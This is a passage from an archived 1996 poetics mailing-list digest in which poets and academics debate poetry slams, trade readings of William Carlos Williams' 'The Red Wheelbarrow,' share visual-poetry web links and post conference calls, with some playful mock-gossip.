but the trouble i have/am having/will probably continue to have with slams (and may they continue to proliferate regardless my qualms) is the way the venue works, the way it tends to give short-shrift, say, to the contested basis of aesthetics... and this is sparked perhaps by the spectacle of it all... critical reception, for me, is not an ebert-siskel thumbs-up/down/sideways---which is more evaluation/judgment... and which tends to promote---and here i'm being most harsh---a knee-jerk audience response... at the same time, sure---it's not the 'diversifier's' fault, as you suggest... or at least i'm not interested in 'blaming'... and sure, i like to see folks get together even to gawk over wordplay, but----

i think slams tend to create an aura (i only hint mself at benjamin here) in which, like any potentially powerful entertainment, one may be swept up, down or aside... i am---very def. am---suggesting that the nature of the venue itself

plays to our cultural predisposition toward entertainment/spectacle (this latter now an old argument)... not that the structure may not be used against itself, so to say...

that many folks may (will?) exploit the slam scene, as it's currently constructed, largely to the ends of self-validation seems to me a given, and seems to me to further the sorts of simplistic identity formations that have in many ways vitiated all sorts of poetic constructions---making slams no worse, and no better, than much acclaimed poetry... believe me, i'm not against occasionally thundering egos saturated with political righteousness or sublime moments of resplendent logos voiced with utter and complete sincerity... but to put the matter a bit obliquely (and based on my experience): when three-quarters or better of the folks at a slam begin and end on such notes, often without the slightest hint of performance anxiety, i find mself asking, to what do we owe such unmitigated bravery?...

best,

joe

↑ Index

237. Julie Marie Schmid
Re: the wheelbarrow
Mon 19 Aug 1996

Hey all--

I've taught The Red Wheelbarrow for a couple of years now, and tend to teach it on a section on Imagism. Before having them read the poem, I give them Pound's definition of the Image as a framework for their readings, along with Pound's In a Station of a Metro, some HD, some Marianne Moore. It usually works pretty well. Iowa students tend to really like this poem, though, because many of them either grew up on farms or have relatives who live on farms, so they all have a very immediate a personnal response to the complex of images that Wms. is using.

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238. John E. Matthias
Berryman
Mon 19 Aug 1996

William Northcutt:

It's Dream Song #14, and it's "inner resources" (not "natural resources")

...my mother told me as a boy
(repeatingly) 'Ever to confess you're bored
means you have no

Inner Resources.' I conclude now I have no
inner resources, because I am heavy bored...

etc.

John Matthias

↑ Index

239. **Henry Gould**
Re: performance art/slams
Mon 19 Aug 1996

Huck had never seen a bear before. Sometime Aunt Padgett would tell stories about bears that strolled through Mudville in the early morning, long time ago before they built the levee. & sometime Pap would tell about his old huntin days before his leg turned green. So when Professor Bigelow Peepers & his Big Animal Bear Flea Circus came to town, why, Huck ran down there first thing even though he paid his last nickel to Tom for a postcard of the actress Fannie Measles. He snuck in through the back of the tent, & couldn't hardly see for the glare of all them newfangled lights flashin & all the noise & crowds of people from up & down the river roarin & shoutin & laughin & hittin each other. But by golly, sure nough, right there in the center ring walkin around in a circle on a chain with a little party hat on his head, led by a clown in an Abe Lincoln outfit, was...why, a real live sure-shootin BEAR! & that bear was growlin & mumblin...to the tune of YANKEE DOODLE! - Henry Gould

↑ Index

240. **maria damon**
Re: National Poetry Slam
Mon 19 Aug 1996

---

joe rites, among other things:

.. when three-quarters or better of the folks at a slam begin
> and end on such notes, often without the slightest hint of performance
> anxiety, i find mself asking, to what do we owe such unmitigated
> bravery?...
>
probably a lot of beer.
so a lot of people use slams to build up their egos. how unlike the demure and self-effacing academy; how unlike the demure and self-effacing AWP scene; how

unlike other performance forms, like acting, rock & other popular musics, and "performance art," where humility and anonymity are the ruling ethos.
md

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241. Christina Fairbank Chirot
read barrows & lifts (fwd)
Mon 19 Aug 1996

---------- Forwarded message ----------
Date: Mon, 19 Aug 1996 11:05:56 -0500 (CDT)
From: Christina Fairbank Chirot <[redacted]>
To: [redacted]
Subject: read barrows & lifts

Re: red wheel barrows and elevators:

A barrow is a grave, stones marking a grave site

A red wheel barrow: a read/red grave

From In the American Grain, "Founding of Quebec" chapter:

The land! Don't you feel it? Doesn't it make you want to go and lift dead Indians tenderly from their graves --to steal from them --as if it must be clinging even to their corpses--some authenticity, that which--

Stealing and reading/writing-and graves--from The Great American Novel:

There cannot be a novel. There can only be pyramids, pyramids of words, tombs . . . He smiled and she, from long practise, began to read to him, porgressing rapidly until she said; You can't fool me.

he became very angry but understood at once that she had penetrated his mystery, that she he was staeling in order to write words.

I have only taught theis poem once--this was method I used as it maeks connections among the read/red graves (read, and red as "red Indians/"dead indians")--stealing in order to write--Williams' use of womens voices ("out of the mouths of Polish mothers")(and where is Flossie's voice--)--and WCW's sense that there is an interealtionship between the landscape and the american id-iom--longing for such, perhaps to steal an authenticity from Indian graves . . .which could be used for reading the Tenochtitlan chapter of In the American Garain for exaample, which he said he tried to model in paragraph structure on the structure of the masonry there--

notice also the close placement of the words "lift" and "steal" in the "Founding of Quebec \" quote above--lift is slang for steal--as well as elevators--

one cd think of lifts going up and down in buildings in connection with stealing/finances/land speculations/the purchase of manhattan--and grain elevators--a hoarding of booty etc--in that hoarding, stock piling can be a form of stealing--driving up prices through shortages etc.

But this approach did open quite a series of good discussions in class room.

As you can think of stealing words in order to write in many relations to sampling in music and "referencing" in music videos--which now causing many legal problems, litigation/literature aspect of stealing words . . .

And--the question of stealing from the dead . . . who may not be able to sue!

anyway--some different approaches to directions opened by the red wheel barrow

--dave baptiste chirot

↑ Index

242. **Joseph Zitt**
Maybe Morphing Hammer Quoters?
Mon 19 Aug 1996

A quick Altavista search shows the text:

Radical mind, day and night, all the time.
Seven, fourteen, wise divine.
Maniac, Brainiac, winner of the game,
I'm the lyrical Jesse James.

to be from "The Power" by Snap. It's in (*gulp*) the Mighty Morphin Power Rangers FAQ. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

↑ Index

243. **Joe Amato**
Re: National Poetry Slam
Mon 19 Aug 1996

---

hey, what's good for the goose maria, you're right...

which is why i say that slams are no better and no worse in this regard... but if i'm to take to task poetry that wallows in its own constructions (which i am,

incl. mine own) why then i guess i'd ask for this sort of critical reflexiveness in all fora (incl. rock & roll---but i'd hate to erase distinctions twixt performance venues, yknow)... and which it seems to me is *not* promoted in the slam scene...

or am i wrong?...

mebbe it all comes down to making slams the focus of more active critical attention?... mebbe in fact this speaks to the function of criticism etc?...

but then, this just means that i keep on posting!...

best,

joe

↑ Index

244. Robert Drake
A Humument pages...
Mon 19 Aug 1996

---

om Phillips' wondruffle visual work _A Humument_ has a webpage, with many images from the book:

http://www.wolfenet.com/~duchamp/index.html

i had just pulled my (paper) copy down th other day, after looking at some of Charles Bernstein's visual poem "veil" at the epc:

http://writing.upenn.edu/epc/authors/bernstein/visual/veil.html

the software charles used has some roots in CAD and draftsmen's conventions, while phillips background in drafting is aparent thruout.... anyway, id recommend th site (despite the frames...)

lbd

↑ Index

245. Robert Drake
[[redacted]: Postypographika update]
Mon 19 Aug 1996

========== Begin forwarded message ==========

From: [redacted] (Fabio Doctorovich)
To: [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted], [redacted] (Joop Greypink), [redacted] (Karl Young), [redacted], [redacted]

(Yepiz), [redacted] (Loss Glazier, EPC), [redacted] (Jukka Lehmus), [redacted] (Jordanne Holyoak), [redacted] (Ficus Strangulensis, Transmog), [redacted], [redacted] (Ernesto Golomb), [redacted] (Spencer Selby), "ted.warnell"@bbs.logicnet.com, [redacted], [redacted]

Subject: Postypographika update
Date: Sat, 17 Aug 96 15:48 GMT-0300

I have just finished updating Postypographika, with a very EXtense and IN-tense virtual poetry work by L. P. Gyori.

Regards to all of you!

Fabio Doctorovich
Postypographika
http://www.postypographika.com

↑ Index

246. Sylvester Pollet
National Poetry Foundation Catalogue
Mon 19 Aug 1996

The NPF put out a new catalogue of its books, journals, and special sale titles in June. e-mail Gail Sapiel, [redacted] for a copy. Among several recent titles of interest to Poetics list: Lorine Niedecker: Woman and Poet, ed. Jenny Penberthy. 439pp, photos. $22.50 paper. I will be putting up a book display at Assembling Alternatives: An International Poetry Conference, Univ. New Hampshire, 29 Aug.-3 Sept. If you'd like to take a look at anything in the catalogue, just let me know and I'll bring a sample copy. Sylvester Pollet
Assoc. Ed./ Acting Director National Poetry Foundation Room 302 5752 Neville Hall Orono, ME 04469-5752

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247. Christopher J. Beach
ACLA 1997 panel
Mon 19 Aug 1996

As a few of you already know, this year's convention of the American Comparative Literature Association will be held in Puerto Vallarta, Mexico, from April 10-13. This year there will also be a new format of sessions, with 8-12 person "seminar" sessions in addition to the normal 3-4 person panels. I am submitting a proposal for a larger session on the topic "First World Poets/ Third World Cultures," which I think will be of relevance to the conference's overall theme, "New Worlds for Old." The panel will deal with poetry and poetics of any era,

focussing on interactions between poets of the "first world" and "third world" cultures. Possible issues include cultural transmission of ideas and myths, empire and (post)colonialism, translation, use of "other" cultures to challenge or revitalize Western traditions. Papers might also explore contact(s) between poets and "third world" communities or subcultures within "first world" countries.

In order to consider paper proposals for the panel, I will need paper titles and brief descriptions by September 20. These can be sent by email (backchanneled to me) or by regular mail: Professor Christopher Beach, Department of English and Comparative Literature, University of California-- Irvine, Irvine, CA 92717.

I hope some of you will come up with great ideas for the session!

Christopher Beach

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248. **Maria Damon**
hammer ref
Mon 19 Aug 1996

hey, rapsters out there, where exactly does hammer use the line "I'm the lyrical jesse james?" i heard it on the radio when i still had a car radio; don't remember name of song, etc. bests, maria d

↑ Index

249. **Maria Damon**
Re: National Poetry Slam
Mon 19 Aug 1996

> *mebbe it all comes down to making slams the focus of more active critical attention?... mebbe in fact this speaks to the function of criticism etc?...*

ding ding ding, as they say. you get the big cigar, joe. god love ya for it. md

↑ Index

250. **Herb Levy**
Re: _A Humument_ pages...
Mon 19 Aug 1996

Luigi Bob's right about this Humument site being very very good with lots of images.

<http://www.wolfenet.com/~duchamp/index.html>

Those of us who were looking for Humument criticism earlier (spring, I think) should be aware of a good intro here by Bill Hurrell, a Marvin Sackner essay, and two pieces by Daniel Traister. The (large) bibliography unfortunately seems only to be of first publications of images from the work.

Bests

Herb Levy
[redacted]

↑ Index

251. **filch**
Re: National Poetry Slam
Mon 19 Aug 1996

Joe said....." and which it seems
to me is *not* promoted in the slam scene...

or am i wrong?...

mebbe it all comes down to making slams the focus of more active critical attention?..."

That is part of how it is changing, albeit slowly, in that criticism is becoming part of the scene. Active critical attention is certainly appropriate to the scene but lettuce not forget critics by and large don't critique until something, in this case slams, is taken seriously. Perhaps we are going through a phase transition in which the need to critique & understand the slam phenom becomes self evident. Whereas before it has been much easier to dismiss.

I wonder though if the economics of the academy will force this reevaluation. It seems as though from an admin point of view that having a few classes here and there concerned with perform po & slams would certainly be an attractive way to up enrollment ;) in moribound lit departs. Why they might even have to pull in some candidates from the hinterlands of the system to keep up with the demand.

and..." seems to me to further the sorts of simplistic identity formations that have in many ways vitiated all sorts of poetic constructions---making slams no worse, and no better, than much acclaimed poetry... believe me, i'm not against occasionally thundering egos saturated with political righteousness or sublime moments of resplendent logos voiced with utter and complete sincerity... but to put the matter a bit obliquely (and based on my experience): when three-quarters or better of the folks at a slam begin and end on such notes, often without

the slightest hint of performance anxiety, i find mself asking, to what do we owe such unmitigated bravery?..."

Simplistic identity formations engender simple people. Hence the state of the world. Umitigated bravery is easy when your preaching to the converted. An audience at a slam could not be more converted. It's easy to read some witty verse deriding the state of society to a group of sympathizers but take that same poem out onto the street corner with a megaphone and see where the bravery lies. When this starts happening, that is when it will get interesting.

cf

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252. Christina Fairbank Chirot
tom phillips
Mon 19 Aug 1996

Re Tom Phillips

This is familiar territory to many on list, but for those who don't know it--an excellent assemblage of Phillips materials (interview, writings by Tom Phillips, essays,reviews and bibliography) is to be found in Open Letter Fourth Series, Numbers 1&2 Summer 1978: Between poetry and Painting. Other artists given similar consideration are Joe Phillips and Ian Tyson. The volume was edited by Kevin Power and is Number 7 in The Margins Symposium Series edited by Karl Young

I'd highly recommend the collection to any one not yet familiar with it.

Thanks to those providing Web Site information for visual poetry! Have been on prowl for these.

--dave baptiste chirot

↑ Index

253. George Bowering
Re: the wheelbarrow
Mon 19 Aug 1996

Michael, et al.

My wife Angela had student several years ago that told her Williams's red wheelbarrow and white chickens was all about communists and so on. Well, it was usually as hard as pulling hens' teeth to get those students to try any kind of reading or "interpretation", so something must have been up.

George Bowering. "Sighing is extra."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

--Gertrude Stein

↑ Index

254. Tony Green
Re: George Starbuck
Mon 19 Aug 1996

George, It is a question how old any of us might be at 26. I wasn't so young at that age, married, mortgage, one child, a few grey hairs. How young were you?

Tony Green,
e-mail: [redacted]

↑ Index

255. George Bowering
Re: POETICS Digest - 10 Aug 1...
Mon 19 Aug 1996

For Rachel, if that's your real name---
>> >> >To Charles Bernstein---
>> >> >
>> >> >Wondering how you are this late summer eve. Or summer's eve. Since I
>>never
>> >> >even look at the Digest except when the when turns into the then (so
>>dumb,
>> >> >forget it), am glad to see your CB. HOw does one say hello without
>> >>talking to
>> >> >the whole team? Hi team Ever, Ann!
>> >>
>> >> I was wondering that too, Charles. I want to tell you how much you mean to
>> >> me, and especially how much I savor that weekend in the motel in Wyoming,
>> >> N.Y.
>> >
>> >Not that I've forgotten our last blissful night at the Bide-A-Wee in
>> >Peekskill, when stars fell into the Hudson and we were as pomo gods. Oh
>> >Charles, how awful to have to say these things to you in front of the

>> >hoi polloi. Hi hoi polloi! Ever your girl. P.S. Please send instruction
>> >manual.
>>
>> Charles, how could you!? You told me she was just an intelligent person you
>> had befriended for her quick mind! I am sending your jewelry back.
>>
>
>Some of us don't need trinkets to express the inexpressible, my dear
>--what do you call yourself--Georgette? Some of us, on a summer's
>eve, have the freedom of our own thoughts and need not surrender to
>idle jealousies. Charles may do what he wishes with his heart; I
>know I'll always have Peekskill, and my memories of the honeymoon
>suite! P.S. Keep your baubles--you may need to hock them for a few
>maple leaves.

Oh yeah? Well, Charles told me a VERY interesting story about you and a certain Mister Joris, which I could never repeat in public. But REALLY, did you have to go to Poughkeepsie for something like that?

George Bowering.

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"Sighing is extra."

--Gertrude Stein

↑ Index

256. **George Bowering**

Re: read barrows & lifts (fwd)

Mon 19 Aug 1996

---------- Forwarded message ----------
Date: Mon, 19 Aug 1996 11:05:56 -0500 (CDT)
From: Christina Fairbank Chirot <[redacted]>
To: [redacted]
Subject: read barrows & lifts

Re: red wheel barrows and elevators:

A barrow is a grave, stones marking a grave site

> *A red wheel barrow: a read/red grave*

God! even the teachers do it now!

George Bowering.

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"Sighing is extra."

--Gertrude Stein

↑ Index

257. Peter Quartermain
The well-read Barrow
Mon 19 Aug 1996

Well, yes, Mike. Two or maybe three times in the last two decades I've had students read it as a poem about Red Chinese economics -- which makes more sense, maybe, in vancouver that it does in Toronna. But not much. An ethnocentrism which gloms onto western material "progress" as the subtext of the poem. The real difficulty is getting them to see how any coded reading closes the poem down. But you get a hell of a lot of (useful) discussion in class as a result.

Peter

+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

↑ Index

258. Tony Green
Re: poetry slams
Mon 19 Aug 1996

Ice-dancing, synchronised swimming, ballroom-dancing, debating, dog shows, surfing, gymnastics, figure-skating, are all jury-sports. Slams share their problems, or so I gather, lacking finite measures?

Tony Green,
e-mail: [redacted]

↑ Index

259. Poetics List
Twentieth-Century Lit. Conference (fwd)
Mon 19 Aug 1996

I'm not sure if Alan Golding has already resent this...
but it came to poetics dugout instead
-jk

---------- Forwarded message ----------
Date: Tue, 13 Aug 1996 18:02:59 -0400 (EDT)
From: Alan Golding <[redacted]>
To: Poetics List <[redacted]>
Subject: Twentieth-Century Lit. Conference

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Tom Orange's recent mention of the U. of Louisville's Twentieth-Century Lit. conference reminded me to send out my annual invitation to the list for papers and panels. Deadline is 10/1 postmark. Proposals should be mailed to the Conference Director, Harriette Seiler, Dept. of Classical and Modern Languages, U. of Louisville, Louisville, KY 40292. Anyone who needs more specifics can get them from Harriette (her e-mail: [redacted]) or from me. Keynote speakers this year are Bonnie Kime Scott and A Player To Be Named Later.

Alan

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260. maria damon
Re: poetry slams
Mon 19 Aug 1996

---

as someone with such a weird ego that i can't send stuff out but need others to (i hardly even send academic papers out now; rejection is so yucky), i can relate to this. i don't know if i'd ever participate in a slam unless i were pretty well assured of the crowd as friendly etc. i realize i've been coming at this discussion as a critic/appreciator, rather than as a participant. i've been absorbing the common lore that the competitive aspect of slam is just a pretext for getting folks involved; but of course, it gets me involved as a spectator rather than as a participant.

by the way, is anyone interested in publishing a 25-page paper on lenny bruce's first obscenity trial transcript as a cultural document? please only respond in the affirmative, if you've got a response. bests, maria

In message <[redacted]> UB
Poetics discussion group writes:
> I guess what I really object to is "judges" supposedly judging poetry as
> better or worse--or even having the entire audience "vote" and thereby
> judge "poetry performances" (slams)--and making the whole event
> competitive. Admittedly, this is my personal issue (at least)--I hate
> the idea of competition, ranking, judging, hierarchizing, and all the
> authority structures that implies--and most especially when this
> oppressive crap is applied to poetry readings.
> Criticism points out all sorts of connections, and lack of
> connections, (hopefully), and doesn't simple rank and judge on a
> scale of one to zero (or minus one).
> I don't mind hearing or giving a forum and some time to the most
> drunken lout nazi rip-off, as long as the setting is such that my
> poem does not have to be compared to his.
> All the audience can appreciate/not appreciate the work (as they
> do) and no ranking and judging is needed, or desired, (it seems to
> me)...

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261. **kaona**
Re: hammer ref
Mon 19 Aug 1996

---

is it really Hammer who uses it? i know that Snap had a top-40ish song with that line in it--"I've Got the Power" was the title?

On Mon, 19 Aug 1996, Maria Damon wrote:

> *hey, rapsters out there, where exactly does hammer use the line "I'm the lyrical jesse james?" i heard it on the radio when i still had a car radio; don't remember name of song, etc.*
> *bests, maria d*

↑ Index

262. **Rachel Loden**
Re: POETICS Digest - 10 Aug 1...
Mon 19 Aug 1996

George Bowering added (the bit beginning "Oh yeah?"):
>
> > >> >> >To Charles Bernstein---
> >> >> >
> >> >> >Wondering how you are this late summer eve. Or summer's eve. Since I
> >>never
> >> >> >even look at the Digest except when the when turns into the then (so
> >>dumb,
> >> >> >forget it), am glad to see your CB. HOw does one say hello without
> >> >>talking to
> >> >> >the whole team? Hi team Ever, Ann!
> >> >>
> >> >> I was wondering that too, Charles. I want to tell you how much you mean to
> >> >> me, and especially how much I savor that weekend in the motel in Wyoming,
> >> >> N.Y.
> >> >
> >> >Not that I've forgotten our last blissful night at the Bide-A-Wee in
> >> >Peekskill, when stars fell into the Hudson and we were as pomo gods. Oh
> >> >Charles, how awful to have to say these things to you in front of the
> >> >hoi polloi. Hi hoi polloi! Ever your girl. P.S. Please send instruction
> >> >manual.
> >>
> >> Charles, how could you!? You told me she was just an intelligent person you
> >> had befriended for her quick mind! I am sending your jewelry back.
> >>
> >
> >Some of us don't need trinkets to express the inexpressible, my dear
> >--what do you call yourself--Georgette? Some of us, on a summer's
> >eve, have the freedom of our own thoughts and need not surrender to
> >idle jealousies. Charles may do what he wishes with his heart; I
> >know I'll always have Peekskill, and my memories of the honeymoon
> >suite! P.S. Keep your baubles--you may need to hock them for a few

> >maple leaves.
>
> Oh yeah? Well, Charles told me a VERY interesting story about you and a
> certain Mister Joris, which I could never repeat in public. But REALLY, did
> you have to go to Poughkeepsie for something like that?

Poughkeepsie! That sweet city with her dreaming spires...But no, I think Charles must have me mixed up with Amy Fisher in her preteen, pre-Buttafuoco days (Pierre's the only one who REALLY knows, and HE at least is too much of a gentleman to say. Aren't you Pierre?). I deal with all of this in my sonnet series "Snorkling the Lotus," for anyone who really wants to plumb the depths of those times. "The past is a foreign country: they do things differently there." I forgive you, Charles.

Rachel Loden

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263. David Benedetti
poetry slams
Mon 19 Aug 1996

I guess what I really object to is "judges" supposedly judging poetry as better or worse--or even having the entire audience "vote" and thereby judge "poetry performances" (slams)--and making the whole event competitive. Admittedly, this is my personal issue (at least)--I hate the idea of competition, ranking, judging, hierarchizing, and all the authority structures that implies--and most especially when this oppressive crap is applied to poetry readings. Criticism points out all sorts of connections, and lack of connections, (hopefully), and doesn't simple rank and judge on a scale of one to zero (or minus one). I don't mind hearing or giving a forum and some time to the most drunken lout nazi rip-off, as long as the setting is such that my poem does not have to be compared to his. All the audience can appreciate/not appreciate the work (as they do) and no ranking and judging is needed, or desired, (it seems to me)...

↑ Index

264. wystan
Re: Twentieth-Century Lit. Conference (fwd)
Tue 20 Aug 1996

Dear Alan,

Give me details. Would you? Please. Thanks.

Wystan

↑ Index

265. George Bowering
Re: George Starbuck
Tue 20 Aug 1996

> *George, It is a question how old any of us might be at 26. I wasn't so young at that age, married, mortgage, one child, a few grey hairs. How young were you?*
>
> *Tony Green,*

Well, I wasnt married yet. I was pretty young, actually. Hmm, 26. That was 1962. I was pretty innocent, though a heavy Olson reader. Well, some smoke. A little jazz. French movies. Didnt get to Mexico till 1963. Didnt get to Europe till 1966. Didnt get to New Zealand till 1984. Pretty innocent still.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"The BAZOOKA is only for my understanding."

--Tristan Tzara

↑ Index

266. Michael Boughn
Re: The well-read Barrow
Tue 20 Aug 1996

> *Well, yes, Mike. Two or maybe three times in the last two decades I've had students read it as a poem about Red Chinese economics -- which makes more sense, maybe, in vancouver that it does in Toronna. But not much. An ethnocentrism which gloms onto western material "progress" as the subtext of the poem. The real difficulty is getting them to see how any coded reading closes the poem down. But you get a hell of a lot of (useful) discussion in class as a result.*
>
> *Peter*

The student in my class this summer told a nightmare story of having ventured a tentative analysis of the poem only to be told by her high school teacher that she was wrong, that the poem was really about the cold war. According to my student, she gave up on poetry at that point, since she felt she was too dumb to get it. Imagine her surprise when she read _Spring and All_ and saw where the wheelbarrow actually is parked.

The wide-spread nature of this particular "interpretation" leads me to suspect that there's some more systematic conspiracy behind its promulgation. I won't mention any names, but the initials "GB" came to mind right away, not withstanding public attempts on this list by certain poet/novelists in Vancouver to cast suspicion elsewhere.

Skeptically,

Mike
[redacted]

↑ Index

267. Rachel Loden
trial transcript (was Re: poetry slams)
Tue 20 Aug 1996

---

maria damon wrote:

> *by the way, is anyone interested in publishing a 25-page paper on lenny bruce's first obscenity trial transcript as a cultural document?*

Maria, is this the trial in which the prosecutor asks a witness whether, on some particular occasion, Mr. Crotch was seen touching his bruce?

Rachel

↑ Index

268. maria damon
Re: trial transcript (was Re: poetry slams)
Tue 20 Aug 1996

---

rachel l (of recent "Oh Charles" fame) rites:
> maria damon wrote:
>
> > by the way, is anyone interested in publishing a 25-page paper on lenny
> > bruce's
> > first obscenity trial transcript as a cultural document?
>
> Maria, is this the trial in which the prosecutor asks a witness
> whether, on some particular occasion, Mr. Crotch was seen touching
> his bruce?
>
> Rachel

no, but lots of other entertaining shenanigans very reminiscent of the recent culture wars and NEA/Jesse Helms stuff. at one point the judge actually quizzes

the defense on the storyline of lysistrata. and the prosecution pits the "long beards at Berkeley" and the stevedores out with the boys against the regular Americans. bests, maria

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269. Christina Fairbank Chirot

red Indian barrow

Tue 20 Aug 1996

Literal statements often conceal violent analogies.

--Robert Smithson

In recent posts Julie Marie Schmid, George Bowering and Michael Boughn refer to Williams' "red wheelbarrow". Peter Quartermain writes of "an ethnocentrism which gloms onto western material "progress" as the subtext of the poem. The real difficulty is getting to see how any coded reading closes the poem down.

The lines in the poem are:

a red wheel
barrow

Barrow can also mean a grave site marked by stones.

This grave opens up other readings in Williams' work in relation to red/read graves as "Red Indian" graves to be used in relation to "western 'progress'"and "ethocentrism":

From The Great American Novel:

If there is progress then there is a novel.

There cannot be a novel. There can only be pyramids, pyramidsof words, tombs.

From I Wanted to Write a Poem:

The Tenochtitaln cahpter (in In the American Grain) was written in big square paragraphs like Inca masonry.

From In the American Grain, "Founding of Quebec" chapter:

The land! Don't you feel it? Doesn't it make you want to go out and lift dead Indians tenderly from their graves, to steal from them--as if it must be clinging even to their corpses--some authenticity--that which--

From The Great American Novel:

He smiled and she, from long practise, began to read to him, progressing rapidly until she said: You can't fool me.

He became very angry but understood at once that hse had penetrated his mystery, that she saw he was stealing in order to write words.

Concealing violent analogies in a literal statement: as "the red wheelbarrow" or "a red wheel/barrow": coded readings or encoded readings . . .

open many "grave" questions:

From The Great American Novel:

What difference is it whether I make the words or take the words. It makes no difference whatever.

To steal authenticity . . . to make words . . . in relation to "the land!"

Benjamin's Aura . . . and sampling, referencing in videos . . .

Nations and tribes fighting for the return of bones dug up from graves in Sacred ground and placed in museums and laboratoires . . .

"She saw he was stealing words in order to write" and "out of the mouths of Polish mothers" . . .

A red wheel/barrow as open grave for readings . . .

Walter Benjamin, "Theses on the Philosophy of History":

There is no document of civilization that is not at the same time a document of barbarism . . . (A historical materialist) regards it as his task to brush history against the grain.

A red wheel/barrow read in the context of Williams' writing on Indians, graves, writing and stealing may open up In the American Grain to readings that "brush history against the grain".

---dave baptiste chirot

(Williams also writes of red in relation to misnamed robins in the essay "The American Background". Again, Williams is considering the relation of "the land!" to the American language, the American idiom, as he does in "The Founding of Quebec" chapter: "Here not there".)

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270. henry gould
Re: red Indian barrow
Tue 20 Aug 1996

Just to follow up on Dave Chirot's post, the phrase "so much depends" itself could be taken as an invitation tp "dig deeper". - Henry Gould

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271. **henry gould**
Re: red Indian barrow
Tue 20 Aug 1996

Addendum to previous post: I think you have to try to find out what the author is trying to say, because it's often very specific (and you have to try, even if it's vague). This is an outdated form of litcrit for some people, I don't want to get into that... My own view is that Williams was just writing sort of an "epiphany" - the poem is the things in it, shining in the daylight, & that's all you need to celebrate. But once you get a sense (at least to your own satisfaction) of what a poem is trying to do, it's legitimate to hear other things in it, unintended meanings & overtones. That's how I read the red/Red wheelbarrow barrow "subtext". Williams quite likely heard those overtones too - but I don't see him making that under-meaning an integral part of the poem. Unless it is some kind of icon for his whole work as a poet - a wheelbarrow is literarily a laboring tool, an earth-mover, lifting the red (Native) earth barrow into view, full of life-rain, next to the (very) white chickens...poetry as wheelbarrow...very well, I contradict myself! Would take some more Williams archaeology to decide this one. My point is to look for a middle ground between "No that's NOT what the poem is about!" and "this poem means whatever I say it means". You have to look for the author's intention (though Derrida might deride). It's usually where the most subtle language effects are, anyway - depend upon it. - H. Gould

↑ Index

272. **Carl Lynden Peters**
Re: The well-read Barrow
Tue 20 Aug 1996

---

i had a student last term comment that 'the red wheel barrow' was a sonnet! i gave that student an A in the course for that. i'm just a dissertation student. so what do i know!

carl

↑ Index

273. **henry**
Re: The well-read Barrow
Tue 20 Aug 1996

On Tue, 20 Aug 1996 11:00:36 -0700 Carl Lynden Peters said:
>i had a student last term comment that 'the red wheel barrow' was a sonnet!

>i gave that student an A in the course for that. i'm just a dissertation
>student. so what do i know!

Just thought I'd warn you - heard backchannel you've been targeted by the sonnet police. You could get 14 lines to life for that. Call Langpo Central after midnight if you need a place to lose your authorial identity.

- An Anonymous Friend

↑ Index

274. Judy Roitman
Re: red Indian barrow
Tue 20 Aug 1996

Henry Gould writes:

> *the poem is the things in it*

Things?

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

275. henry
Re: red Indian barrow
Tue 20 Aug 1996

On Tue, 20 Aug 1996 13:26:24 -0500 Judy Roitman said:
>Henry Gould writes:
>
> >the poem is the things in it
>
>
>Things?

Yeah, as in "Things & arrowths of outhrageous forthune" - HG

↑ Index

276. Daniel Bouchard
Re: red Indian barrow
Tue 20 Aug 1996

On Tue, 20 Aug 1996 13:26:24 -0500 Judy Roitman said:
>Henry Gould writes:
>
> >the poem is the things in it
>
>
>Things?

Yeah, as in "Things & arrowths of outhrageous forthune" - HG

And the 'no ideas but in . . . '

- db

↑ Index

277. George Bowering
Re: red Indian barrow
Tue 20 Aug 1996

> *Literal statements often conceal violent analogies.*
>
> *--Robert Smithson*
>
> *In recent posts Julie Marie Schmid, George Bowering and Michael Boughn refer to Williams' "red wheelbarrow".*
> *Peter Quartermain writes of "an ethnocentrism which gloms onto western material "progress" as the subtext of the poem. The real difficulty is getting to see how any coded reading closes the poem down.*
>
> *The lines in the poem are:*
>
> *a red wheel*
> *barrow*
>
> *Barrow can also mean a grave site marked by stones.*
>
> *This grave opens up other readings in Williams' work in relation to red/read graves as "Red Indian" graves to be used in relation to "western 'progress'"and "ethocentrism":*

That is an "opening up"?
Now, what are you going to do with that red wheel.

You have a problem here because the red Insians did not have a wheel, except for the toys made around Tenochtitlan.

But that wheel was used only for that. It was a kind of Bare O

wxh is another use of the sound "barrow". So I figure that Williams is talking about the Aztecs. And all you have to do is look at _In the American Grain_ to see his interest in the Aztecs. And of course one is tempted to call his book _In the American Grave_.

George Bowering. "The BAZOOKA is only for my understanding."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4 --Tristan Tzara

fax: [redacted]
e-mail: [redacted]

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278. George Bowering
Re: red Indian barrow
Tue 20 Aug 1996

> *Just to follow up on Dave Chirot's post, the phrase "so much depends" itself could be taken as an invitation tp "dig deeper". - Henry Gould*

You'll have to explain that one to me. Depends means hangs from. Dig means shove one's shovel into and lift. I dont see the invitation mentioned.

George Bowering. "The BAZOOKA is only for my understanding."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4 --Tristan Tzara

fax: [redacted]
e-mail: [redacted]

↑ Index

279. henry
Re: red Indian barrow
Tue 20 Aug 1996

On Tue, 20 Aug 1996 12:29:01 -0700 George Bowering said:
>>Addendum to previous post: I think you have to try to find out what the

>>author is trying to say,
>
>As an "author", I am bothered by this. Why try to see what I am "trying" to
